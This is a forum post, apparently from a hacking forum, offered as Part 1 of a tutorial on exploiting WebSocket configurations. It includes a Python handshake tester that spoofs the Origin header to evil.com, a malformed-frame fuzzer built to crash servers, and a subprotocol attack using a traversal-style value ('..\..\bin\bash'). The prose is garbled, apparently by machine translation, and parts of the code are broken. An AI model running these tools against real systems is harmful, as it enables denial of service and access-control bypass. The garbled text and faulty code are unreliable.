Vulnerabilities in WebSocket Configurations and Their Operation PART 1

Depov

Activist
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
128
Reaction score
116
Deposit
0$
Today on the table is WebSocket.Not the picture that is drawn on the hackathons, but its throbbinginside out: the configurations that are cut into the living, andquiet, almost invisible exploitation.





WS Underworld: When a LiveChannel Becomes Your Back Door


Whydo we need this?

Everyone has heard about WebSocket(hereinafter WS). "Biorrowed", "living","real-time". With these phrases, managers and juniorarchitects rush to the left and to the right. The web turns from apile of queries-responses into something alive. Shoppers, tradingpanels, online games, collaborative editors - beauty.

Butthe hacker’s view sees otherwise. He sees not a channel for thefeatures, but New Surface of the Attack. Huge, often forgotten,poorly protected. Why? Because WS breaks the old, familiar HTTPmodel. The entire WAF’s (Web Application Firewall), which haslearned to catch SQLi, XSS, and so on in the GET/POST parameters,often blinds, looking at the flow of binary or text data pouring onthe same compound. Because the developers, introducing ws://or w://,consider the work done. Because in the documentation for theframeworks, the section “security” about WS is often placedsomewhere between “gratitudes” and “license”.

Let'sdig.



The basis. Not TCP orHTTP - but your own swamp


Beforebreaking, you need to understand how it works. Not at the level of“handshake and then data”, but deeper.

1. Handshake- entry point

Classics. Client sends HTTP Upgrade request.



GET/chat HTTP/1.1


Host:server.example.com


Upgrade:websocket


Connection:Upgrade


Sec-WebSocket-Key:dGhlIHNhbXBsZSBub25jZQ==


Origin:https://example.com


Sec-WebSocket-Version:13



Theserver answers:




HTTP/1.1101 Switching Protocols


Upgrade:websocket


Connection:Upgrade


Sec-WebSocket-Accept:s3pPLMBiTxaQ9kYGzzhZRbK+xOo=



Here,in this almost HTTP exchange, already lies First layer ofvulnerabilities. Everything that relates to poor HTTP headerprocessing is applicable here. But there is also specificity.


  • Sec-WebSocket-Key and Sec-WebSocket-Accept: Proxy Cashing Mechanism. Not authentication. Never before. A lot of people think it's like a token. No. It's a deterministic transform. You can check its correctness, but this is protection not from an intruder, but from ancient proxies.
  • Origin: Here it is the key title. The basis of the Same-Origin policy for WS. But it may not be. In the native JS browser, it is added automatically. What if the client is not a browser? Kastomic client in Python, C, Go? He can send any Origin, or he may not send it at all. It all depends on the server.

Practicaltool No1: ws-harness (our self-sample)
We will not rely onabstract curl queries. Let's sketch the simplest, but flexible toolfor short-shoot testing. Python with library websockets- it's our choice.

importasyncio


importwebsockets


importssl


importargparse


fromurllib.parse import urlparse





asyncdef test_handshake(url, origin=None, subprotocols=[], headers={}):


“”"


Customhandshake. Playing with headers.


“”"


parsed= urlparse(url)


use_ssl= parsed.scheme == 'wss'





#Custom headers


extra_headers= []


iforigin:


extra_headers.append((‘Origin’,origin))


ifsubprotocols:


extra_headers.append((‘Sec-WebSocket-Protocol’,‘, ’.join(subprotocols)))


fork, v in headers.items():


extra_headers.append((k,v))





try:


asyncwith websockets.connect(


url,


ssl=use_ssl,


extra_headers=extra_headers,


#Very important parameter! Indicates how the server handles garbage.


subprotocols=subprotocolsif subprotocols else None,


timeout=10


)as ws:


print(f“[+]Connection successful!”)


print(f“Selected subprotocol: {ws.subprotocol}”)


#You can send a test frame right away


awaitws.send(“ping”)


resp= await asyncio.wait_for(ws.recv(), timeout=2)


print(f“Response to ‘ping’: {resp}”)


awaitws.close()


exceptException as e:


print(f“[-]Connection error: {e}”)





if__name__ == “__main__”:


parser= argparse.ArgumentParser(description=‘WS Handshake Tester’)


parser.add_argument(‘url’,help=‘WS/WSS URL (e.g., ws://target:8080/chat)’)


parser.add_argument(‘--origin’,help=‘Spoof Origin header’)


parser.add_argument(‘--subproto’,nargs=‘+’, help=‘List of subprotocols to request’)


parser.add_argument(‘--header’,action=‘append’, help=‘Custom header (format: Key:Value)’)


args= parser.parse_args()





custom_headers= {}


ifargs.header:


forh in args.header:


k,v = h.split(‘:’, 1)


custom_headers[k.strip()]= v.strip()





asyncio.run(test_handshake(args.url,args.origin, args.subproto or [], custom_headers))





Start:pythonws_harness.py ws://vulnerable-chat.local:8080/ws --originhttрs://evil.com/
See:Does the server accept a connection with the left Origin? If yes, thefirst flag in our piggy bank. This is a potential vulnerability toWebSocket Origin Hijacking (This is below).

2. After thehandshake: frames, not streams

It is important to moveaway from HTTP thinking. The data goes with frames. The frame has atype: text (0x1),binary (0x2),closure (0x8),ping (0x9),pong (0xA)etc. The server must be able to parse them. Parsers are complexthings. What is difficult can be broken.

Vulnerability:parsing frames and DoS. Imagine a frame with the declared length 2^63- 1 byte (maximum value for 64-bit). A naive parser can reserve amemory and fall under it. Or a frame with a mask (client framesshould be masked), where the mask is garbage, and the parser goesinto an endless cycle. It’s low level, but it’s real. More commonin custom, self-written servers in C++ or Rust.

Practicaltool No2: ws_fuzzer
We take a library that allows you to collectraw frames. For example, wsprotoor python-socket.Our goal is not just to send data, but to send Incorrect frame.






importsocket


importssl


importstruct


importtime





defcreate_malformed_frame(opcode=0x1, payload=b“”, masked=False,mask_key=None, fin=True, length_override=None):


“”"


Weassemble the frame manually. We can break the specification.


“”"


frame= bytearray()


#FIN, RSV1-3, Opcode


first_byte= (0b10000000 if fin else 0) | (opcode & 0b00001111)


frame.append(first_byte)





#Mask bit and length


payload_len= len(payload)


iflength_override is not None:


payload_len= length_override





ifpayload_len <= 125:


second_byte= payload_len


ifmasked:


second_byte|= 0b10000000


frame.append(second_byte)


len_bytes= None


elifpayload_len <= 65535:


second_byte= 126 | (0b10000000 if masked else 0)


frame.append(second_byte)


len_bytes= struct.pack(‘!H’, payload_len)


frame.extend(len_bytes)


else:


second_byte= 127 | (0b10000000 if masked else 0)


frame.append(second_byte)


len_bytes= struct.pack(‘!Q’, payload_len)


frame.extend(len_bytes)





#Mask


ifmasked:


ifmask_key is None:


mask_key= struct.pack(‘!I’, 0xDEADBEEF) # Arbitrary mask


frame.extend(mask_key)


#Apply the mask to the payload (if it exists and we haven't overriddenthe length)


ifpayload and length_override is None:


masked_payload= bytearray(payload)


fori in range(len(masked_payload)):


masked_payload^= mask_key[i % 4]


payload= masked_payload





ifpayload and length_override is None:


frame.extend(payload)


eliflength_override and length_override > 0:


#If the length has been overridden, add padding or nothing


frame.extend(b'X'* min(1000, length_override)) # To avoid consuming all memory





returnbytes(frame)





defsend_malformed_handshake_and_frame(host, port, path=‘/’,use_ssl=False, frame=None):


“”"


First,perform a normal handshake, then send a malformed frame.


“”"


sock= socket.socket(socket.AF_INET, socket.SOCK_STREAM)


ifuse_ssl:


context= ssl.create_default_context()


context.check_hostname= False


context.verify_mode= ssl.CERT_NONE


sock= context.wrap_socket(sock, server_hostname=host)


sock.connect((host,port))





#Standard handshake


handshake= (


f“GET{path} HTTP/1.1\r\n”


f“Host:{host}:{port}\r\n”


f“Upgrade:websocket\r\n”


f“Connection:Upgrade\r\n”


f“Sec-WebSocket-Key:dGhlIHNhbXBsZSBub25jZQ==\r\n”


f“Sec-WebSocket-Version:13\r\n”


f“\r\n”


).encode()


sock.send(handshake)


resp= sock.recv (4096)


print(f“[*]Handshake response: {resp[:200]}...”)





ifb“101 Switching Protocols” in resp:


print("[+]Handshake successful. Sending a malicious frame.")


time.sleep(0.5)


sock.send(frame)


#Waiting for a response (may not come) or a timeout


try:


sock.settimeout(3)


response= sock.recv(1024)


print(f“[*]Server response: {response}”)


exceptsocket.timeout:


print(“[!]Timeout. The server may have crashed or gone silent.”)


exceptConnectionResetError:


print(“[!]Connection terminated by the server (possibly a crash).”)


else:


print(“[-]Handshake failed.”)





sock.close()





#Examples of malicious frames:


#1. Extremely long length


frame_huge_len= create_malformed_frame(opcode=0x1, payload=b“test”,length_override=(2**63 - 1))


#2. Invalid opcode (e.g., 0x3 - reserved)


frame_bad_opcode= create_malformed_frame(opcode=0x3, payload=b“reserved”)


#3. A frame with the RSV1 flag (for extensions) that is not supported


frame_rsv= bytearray(b'\xC1\x05hello') # FIN=1, RSV1=1, Opcode=0x1 (text),mask=0, length=5


frame_rsv.extend(b'hello')





#Usage:


#send_malformed_handshake_and_frame(‘localhost’, 8080, ‘/ws’,use_ssl=False, frame=frame_huge_len)









Importantwarning: This Testing Tool is intended for use on your own servers inan isolated environment. Sending such frames to someone else’sinfrastructure without explicit permission is a crime. We are talkingabout research, not vandalism.





3.Subprotocols





TheSec-WebSocket-Protocol field in the handshake. Designed to agree onthe data format (e.g., SOAP, WAMP, GraphQL-WS). The server mustselect one of the proposed options or refuse. Typical Error: Theserver accepts the first subprotocol from the client’s list withoutchecking or, worse, executes logic based on the subprotocol.





Attack:The client sends a list: Sec-WebSocket-Protocol:secret-admin-protocol, chat. If the server is naive and simplyaccepts the first one it recognizes, it will choose “chat.” Butif there is a conditional branch in its code:





JavaScript:





if(chosenProtocol === ‘secret-admin-protocol’) {


enableAdminMode(ws);


}








Andthe server checks the subprotocol After handshakes, and a curvecheck... You can try to implement something. Or just to cause amistake leading to the disclosure.

Test our ws-harness:pythonws_harness.py wss://target/ws --subproto "..\..\bin\bash""chat"
 
Top Bottom